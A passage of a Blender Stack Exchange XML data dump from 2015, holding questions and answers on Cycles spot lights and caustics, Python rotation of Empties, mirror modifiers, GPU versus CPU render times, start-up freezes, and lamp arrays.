CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24373" PostTypeId="2" ParentId="24371" CreationDate="2015-02-07T17:51:00.483" Score="3" Body="&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt;&#xA;This answer might be better suited as a comment, but since you can not post images in comments I created an answer instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds to me like you want to use a spot light. Spots work similar to point lights but also have an opening angle. Unfortunatly Cycles only supports round spots, not rectangular ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the viewing range: In real life light will not stop abruptly, so this parameter does not really make sense in a physically based renderer like Cycles. You can however mix the emission shader of the spot with a holdout shader depending on the ray length to only make it illuminate objects in a certain range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RotZ5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3oZQ5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a certain range from the lamp the lightsource is treated as black. This creates the hard round 'light borders' to the left. The soft 'light border' to the right is where the opening angle of the spot ends.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-02-07T17:51:00.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24374" PostTypeId="2" ParentId="24371" CreationDate="2015-02-07T17:55:05.807" Score="11" Body="&lt;p&gt;If you want to keep it in cycles, you'd better model your own lamp as anything can cast light. This way you can control the shape and with a light falloff node you can control the distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EDdp1.jpg&quot; alt=&quot;modeled spot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assign the correct shader : emission for the face you want to cast light, plastic or anything else for the other parts.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-07T18:20:40.947" LastActivityDate="2015-02-07T18:20:40.947" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="24375" PostTypeId="1" CreationDate="2015-02-07T18:35:52.173" Score="2" ViewCount="2436" Body="&lt;p&gt;I have created a grid of hexagons.  I want to animate the rotation of a series of them diagonally, so I have parented each hexagon to its own Empty, and rotated the Empty's orientation to the angle I want to rotate the hexagons at.  But when I try to rotate each Empty on its local x-axis using python script, I can't seem to get the expected rotation.  What I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selected Empty in 3D viewport, then ran (where the value &quot;1.5708&quot; is the equivalent of rotating 90 degrees):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.rotation.euler[0] = 1.5708&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or . . . &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.rotate(value=1.5708, &#xA;                         axis=(0.866025, 0.5, 0), &#xA;                         constraint_axis=(True, False, False), &#xA;                         constraint_orientation='LOCAL', &#xA;                         mirror=False,&#xA;                         proportional='DISABLED', &#xA;                         proportional_edit_falloff='SMOOTH', &#xA;                         proportional_size=1, &#xA;                         release_confirm=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first one results in an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback (most recent call last):&lt;br&gt;&#xA;      File &quot;&quot;, line 1, in &lt;br&gt;&#xA;      AttributeError: 'Object' object has no attribute 'rotation'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The second one rotates the Empty, but not according to local x-axis. (looks like maybe global x-axis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the above commands come from the info panel where first one is the same as setting rotation in the &quot;Properties&quot; panel (&lt;kbd&gt;N&lt;/kbd&gt; key in 3D Viewport) and second one is the result of using the 3D Manipulation Widget&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.73a on Mac OSX 10.8.5&lt;/p&gt;&#xA;" OwnerUserId="11460" LastEditorUserId="2217" LastEditDate="2015-02-07T20:52:05.553" LastActivityDate="2018-07-24T00:27:44.507" Title="Rotate Empty on Local X-Axis using Python Script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24376" PostTypeId="1" CreationDate="2015-02-07T18:39:18.250" Score="2" ViewCount="1637" Body="&lt;p&gt;I'm very new to using blender, I installed version 2.69 from the software center (using Ubuntu 14.04 LTS).&#xA;Whenever I try to import a video into the sequencer I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File &lt;code&gt;File_name&lt;/code&gt; could not be loaded&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I try to run blender from the terminal I get this error directly when I launch it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;using fallback mode for management connect failed: No such file or directory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't understand what the error means or how to fix it, Any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="11463" LastEditorUserId="241" LastEditDate="2015-02-07T19:09:04.347" LastActivityDate="2015-02-07T19:09:04.347" Title="Unable to import movie" Tags="&lt;video-sequence-editor&gt;" AnswerCount="0" CommentCount="10" ClosedDate="2015-02-07T20:23:52.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="24377" PostTypeId="2" ParentId="24368" CreationDate="2015-02-07T18:42:38.740" Score="2" Body="&lt;p&gt;As said in the comments, mirror modifier has to be 1st in the list (up), if it's not, click on the up arrow at the upper right corner of the mirror modifier. Be sure to check &quot;merge&quot; and &quot;clipping&quot; options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the problem still appears, edit your mesh, select all vertices that should be in the center. Scale them to zero (align) on the X axis (&lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;), then move them on X axis to make them stick (&lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; -move mouse-) repeat this on the other X direction (&lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; -move mouse to the other direction-). All center vertices should now be in the center, clipped and merged and will move with the armature as they should. &lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="29" LastEditDate="2015-02-07T18:44:44.407" LastActivityDate="2015-02-07T18:44:44.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24378" PostTypeId="2" ParentId="24368" CreationDate="2015-02-07T18:51:23.803" Score="1" Body="&lt;p&gt;Whenever I had issues like this I was able to solve it by editing the mesh. Make sure the &#xA;following options of the mirror modifier are ticked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EyGZL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the vertices toward the mirror axis, after that it shouldn't be possible to move them away from the mirror axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WIKJZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="11431" LastEditDate="2015-02-07T19:06:13.223" LastActivityDate="2015-02-07T19:06:13.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24380" PostTypeId="2" ParentId="24272" CreationDate="2015-02-07T19:22:16.307" Score="17" Body="&lt;p&gt;I'm not sure if you really have any problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually here is common mistake made by a lot user that are not into programming. &#xA;GPU rendering is NOT faster than a CPU rendering, GPU rendering is SOMETIMES faster than CPU rendering, depending on the rendering algorithm it's used and your graphic card your OS the pipeline etc...&#xA;Blender don't use the classic graphic pipeline that the graphic card are design for (they use raytracing instead of rasteriser) so from this point all is about how fast and efficient are every computation.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A little technical explanation:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;GPU programming is one of my favourite topic in computer science so I will try to keep it simple.&#xA;Actually &lt;strong&gt;CPU is A LOT faster&lt;/strong&gt; than a GPU for &lt;strong&gt;one computation&lt;/strong&gt; (it's like comparing a smartphone with a desktop CPU, really) and &lt;strong&gt;GPU love making all at same time&lt;/strong&gt; (that why you can use Shift+Z in cycle).&#xA;Basically if computations are not dependant between them GPU win.&#xA;-&gt; So usually the problem is more you have dependency between computations slower it will be on the GPU.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I think for your benchmark:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You use some shader/material/effect that make dependency between computation or make the GPU wait for some synchronisation and make you GPU render less efficient...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So blender has some optimisation problem ? No, if GPUs were just more efficient than CPU what is the point of keeping CPU ? No it's just a trade, you just have to know what you want to do with your scene (render optimisation you know...). Btw that's why blender keep CPU rendring...&#xA;The GPU is really better when you want real time using a lot a tricks that use parallelism a lot. that's also why a PS4 has 1.6 GHz but with 8 cores (for parallelism again) but that's an other story&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt; You really have to keep in mind I just THINK this is the problem I don't have your scene to deeply test it or trying track which effect/shader/material take time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that help. =)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;[EDIT]&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Even if what I said is true I said also &quot;I just THINK this is the problem&quot; and in fact I've just tested your scene and checked this thread:&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239480-2-7x-Cycles-benchmark-%28Updated-BMW%29&quot;&gt;http://blenderartists.org/forum/showthread.php?239480-2-7x-Cycles-benchmark-%28Updated-BMW%29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my AMD AMD A8-5550M APU with Radeon(tm) HD Graphics Processors (AMD Radeon HD 8550G) with my gentoo kernel 3.17.8-r1 and proprietary driver fglrx 14.12-r3, I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GPU: 5:54:54 &lt;/li&gt;&#xA;&lt;li&gt;CPU: 17:09:73&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;which is a pretty huge gap...&#xA;So now look at the thread, for OSX you have 2 type or person:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;GPU-&gt; not supported &lt;/li&gt;&#xA;&lt;li&gt;GPU-&gt; slower&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So the scene is obviously GPU optimised and what I said before is not the real problem here.&#xA;The thing you have to know is OSX has a lot of problem with his graphics drivers (for exemple if you try openGL you are stuck with openGL 3.3). From here what I think is your render time difference is due to Apple's drivers.&#xA;I don't work for blender or Apple so I am not 100% sure but from I see here the problem seems obviously coming from Apple. To be really sure I will make some test on the Mac of my room-mate soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm really surprised the graphics driver from Apple was that bad, I thought it was just &quot;bad&quot; not &quot;really bad&quot;&lt;/p&gt;&#xA;" OwnerUserId="11438" LastEditorUserId="11438" LastEditDate="2015-02-08T14:16:06.920" LastActivityDate="2015-02-08T14:16:06.920" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24381" PostTypeId="2" ParentId="24375" CreationDate="2015-02-07T19:38:21.697" Score="4" Body="&lt;p&gt;Your first attempt did not work because (as Ray Mairlot pointed out) the attribute is &lt;code&gt;rotation_euler&lt;/code&gt;, not &lt;code&gt;rotation.euler&lt;/code&gt;. Further more, with the proper notation it will only rotate the active object, not all objects selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This five line script rotates all selected objects by 90° on the local X axis.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import pi&#xA;for ob in bpy.context.selected_objects:&#xA;    ob.rotation_euler[0] = pi/2&#xA;    ob.convert_space(from_space='LOCAL', to_space='WORLD')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;from math import pi&lt;/code&gt; line is just so we can use &lt;code&gt;pi/2&lt;/code&gt; instead of &lt;code&gt;1.5708&lt;/code&gt; as the value to rotate by.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-02-07T20:04:59.433" LastActivityDate="2015-02-07T20:04:59.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24382" PostTypeId="1" AcceptedAnswerId="24383" CreationDate="2015-02-07T20:06:21.280" Score="24" ViewCount="14152" Body="&lt;p&gt;What is the best method to create this kind of reflection and how to animate it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NgL7F.jpg&quot; alt=&quot;Example Image with Caustics&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="5705" LastEditDate="2016-03-04T14:12:15.160" LastActivityDate="2021-02-09T17:06:37.537" Title="How to create and animate the water reflection (Caustics) on an object?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;texturing&gt;&lt;caustics&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="24383" PostTypeId="2" ParentId="24382" CreationDate="2015-02-07T20:08:28.010" Score="15" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/24382/how-to-create-and-animate-the-water-reflection-on-an-object/24383#comment35855_24382&quot;&gt;@gandalf3 mentioned&lt;/a&gt;, Cycles is not great at this, if you want to make your render &lt;em&gt;physically accurate&lt;/em&gt;; My approach can give you &lt;em&gt;photo realistic&lt;/em&gt; results, which are not, however, &lt;em&gt;physically accurate&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Water Movement&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use a &lt;em&gt;Displace&lt;/em&gt; modifier, a &lt;em&gt;Stucci&lt;/em&gt; procedural texture and an &lt;em&gt;empty&lt;/em&gt; for &lt;code&gt;Texture Coordinates&lt;/code&gt; in order to simulate the water movement. &lt;strike&gt;Do keep in mind that you'll need a &lt;em&gt;lot&lt;/em&gt; of samples in order to get a usable image and a build with the &lt;a href=&quot;https://developer.blender.org/T38401&quot; rel=&quot;nofollow noreferrer&quot;&gt;Metropolis patch&lt;/a&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, first add a subdivided plane (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Mesh&lt;/em&gt;&gt;&lt;em&gt;Plane&lt;/em&gt;); then, go to the &lt;em&gt;Modifiers&lt;/em&gt; tab in the &lt;em&gt;Properties&lt;/em&gt; editor and add a &lt;code&gt;Displace&lt;/code&gt; modifier and press the &lt;code&gt;New&lt;/code&gt; button to add a new texture. After that, go to the &lt;em&gt;Texture&lt;/em&gt; tab and select &lt;code&gt;Stucci&lt;/code&gt;; you can later tweak this setting for better results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wzBda.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a Empty, go back to the &lt;em&gt;Modifiers&lt;/em&gt; of the plane and select &lt;code&gt;Object&lt;/code&gt; in the drop down list for &lt;code&gt;Texture Coordinates&lt;/code&gt;; after that, set the object to be the empty you created earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3CavI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then animate the position and/or rotation of the empty, in order to &quot;animate&quot; the water movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Then you can simply add some glossyness to the plane point a lamp at it and render.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Caustics Simulation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A better way is to simulate &lt;em&gt;Throw Patterns&lt;/em&gt; on a Spotlight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Spotlight (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Lamp&lt;/em&gt;&gt;&lt;em&gt;Spotlight&lt;/em&gt;); then add another plane, in the location of the spotlight, and move it down. After that, parent the plane to the spotlight, by selecting the plane &lt;em&gt;first&lt;/em&gt; and then the spotlight and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt;&gt;&lt;em&gt;Offset (Keep Offset)&lt;/em&gt;. Now, go to the node editor and add a material to the plane, wich looks like the following node tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V12GQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to animate the caustics, you can use a &lt;code&gt;Vector Mapping&lt;/code&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7EVKT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, you can animate the X and Y values, for the location, in order to move the caustic pattern around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can point the spotlight at your objects and git it a test render. Make sure the strength of the spotlight is rather high - I used 2000 - otherwise, you'll not see the light on your object. Also, you can control the softness of the throw pattern by adjusting the distance of the plane to the spotlight or the &lt;code&gt;Size&lt;/code&gt; field found in the Lamp tab, on the Properties editor, when the Lamp is selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a40M8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives me this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AQASt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-07T22:07:05.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24384" PostTypeId="1" CreationDate="2015-02-07T20:16:30.017" Score="0" ViewCount="653" Body="&lt;p&gt;I was animating and asked blender to do a 15% render. It crashed. (2.73 with some add-ons activated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to re-launch Blender double click the Blender (windows7 start list) icon it showed a featureless grey screen and then freezes. (No splash screen)  (2.73  and 2.72b equally bad)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I double click a .blend file then 2.72b launches with old preferences and runs normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After using that method for a day I retried launching from the start menu.  This time 2.73 launches correctly and then freezes as soon as I try to do anything.&#xA;2.72b still goes immediately grey screen freeze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even know where I should be asking the question to try to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W7 pro 64bit   Blender 2.73  and 2.72b  both 64 bit.  nvidea quadro   i7  -had been working noramally for last month, many many hours.&lt;/p&gt;&#xA;" OwnerUserId="11281" LastActivityDate="2015-02-07T22:42:53.907" Title="What should I do to stop blender freezing on start-up, when its okay starting from a double click .blend file" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-08T02:34:16.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="24386" PostTypeId="1" CreationDate="2015-02-07T20:47:22.667" Score="5" ViewCount="1494" Body="&lt;p&gt;I was doing some stuff and this window popped up&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LIVCll.png&quot; alt=&quot;blender UI&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to get rid of it and I want this window back:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dwV8Il.png&quot; alt=&quot;properties panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11464" LastEditorUserId="2217" LastEditDate="2015-02-07T20:59:17.757" LastActivityDate="2015-02-07T20:59:17.757" Title="How to change the window type?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24387" PostTypeId="2" ParentId="24386" CreationDate="2015-02-07T20:49:28.293" Score="6" Body="&lt;p&gt;You can change the editor type in the dropdown icon in the header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WzApy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one you want is the &lt;em&gt;Properties&lt;/em&gt; editor.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-07T20:49:28.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24388" PostTypeId="2" ParentId="24384" CreationDate="2015-02-07T22:42:53.907" Score="1" Body="&lt;p&gt;startup file can be messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open with a file that's ok, reload factory settings and save starup file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If preferences (addons or anything) are messed up, do the same but open prefs and click save user settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something's wrong in program data or manually added scripts/addons, explore C:\Users\ [userName] \AppData\Roaming\Blender Foundation\Blender and delete everything (or move).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a crash, blender files could be corrupted. You can uninstall-reinstall blender to fix them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing helps, you can check your disks (all where windows, blender and .blend files are) from explorer &lt;kbd&gt;RMB&lt;/kbd&gt; on the disk you want to check, properties, tools tab, check now. In the pop up, check automatic repair, uncheck search and fix defective sectors (or something like that, translating). This won't last long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this fails at fixing, try to check fix defective sectors but it'll take more time and for windows disk, you'll need to restart (and wait).&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-07T22:42:53.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24390" PostTypeId="1" CreationDate="2015-02-07T23:19:38.047" Score="1" ViewCount="1053" Body="&lt;p&gt;I try to use the cycles fisheye lens: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;with a &lt;code&gt;2/3&quot;&lt;/code&gt; sensor type&lt;/li&gt;&#xA;&lt;li&gt;camera is attached in the ceiling at &lt;code&gt;2.5m&lt;/code&gt; in a room&lt;/li&gt;&#xA;&lt;li&gt;focal length is &lt;code&gt;2.2mm&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;filed of view is &lt;code&gt;180 degrees&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;sensor size (2/3&quot;) is &lt;code&gt;8.8mm&lt;/code&gt; * &lt;code&gt;6.6mm&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, when I chose a large sensor, the image plane of a camera is contracted and when I chose small sensor, the image plane of a camera is extended (image2). Normally, this means that like the focal distance is changed. But, I am not sure what exactly mean because when the focal changes, the field of view changes! Any explanation will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CW6FO.png&quot; alt=&quot;image1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUXgp.png&quot; alt=&quot;image2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="3710" LastEditDate="2015-02-07T23:49:00.473" LastActivityDate="2015-03-10T03:32:45.893" Title="Configuration of Cycles fisheye camera" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24391" PostTypeId="1" AcceptedAnswerId="24392" CreationDate="2015-02-07T23:54:09.980" Score="17" ViewCount="12664" Body="&lt;p&gt;Following &lt;a href=&quot;https://blender.stackexchange.com/questions/24371/how-to-control-the-angle-and-range-of-a-light&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you can't use an array modifier on lamps, how can you create an array so that all lights are clones of the same original and can be edited as one?&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2020-05-31T22:52:16.980" Title="How to create an array of lamps?" Tags="&lt;modifiers&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24392" PostTypeId="2" ParentId="24391" CreationDate="2015-02-07T23:54:09.980" Score="28" Body="&lt;p&gt;Start with a plane that has the proportions of your lamp, enter edit mode and do loop cuts &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; so you end up with as many vertices as you need lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJ5hx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set instancing to Verts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/24SZw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/24SZw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(for versions 2.79 or older) Set the duplication to Verts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z5jxP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a spot lamp on the same place as your plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gy5w9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your lamp, then shift-select your plane and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and select &lt;strong&gt;Parent to Vertex&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aAS3V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have now an array of lights!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BqrQB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Geme3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have the array follow your plane's rotation select the lamp and add a copy rotation constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VmfPy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6A5W2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the object doesn't necessarily have to be a plane, it can be any shape you want and it doesn't even need to have faces, as the lamps are controlled by vertices.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2020-05-31T22:52:16.980" LastActivityDate="2020-05-31T22:52:16.980" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24393" PostTypeId="1" AcceptedAnswerId="24413" CreationDate="2015-02-08T00:04:09.127" Score="4" ViewCount="574" Body="&lt;p&gt;I'm making simulation in blender for rigid body. I need object location in the current frame. I use following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.frame_set(250)&#xA;bpy.data.objects['Object'].location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this command returns the location corresponding to the initial frame.&#xA;Neither changes object location in Location panel during simulation. I know I can bake rigid body transformations to keyframes but I need another way to get location of object because baking takes long time for multiple objects. Is there any other command which can print object location after transformation without baking?&lt;/p&gt;&#xA;" OwnerUserId="11444" LastActivityDate="2015-02-08T07:34:39.277" Title="Export rigid body location without baking to keyframes" Tags="&lt;python&gt;&lt;scripting&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;baking&gt;" AnswerCount="1" 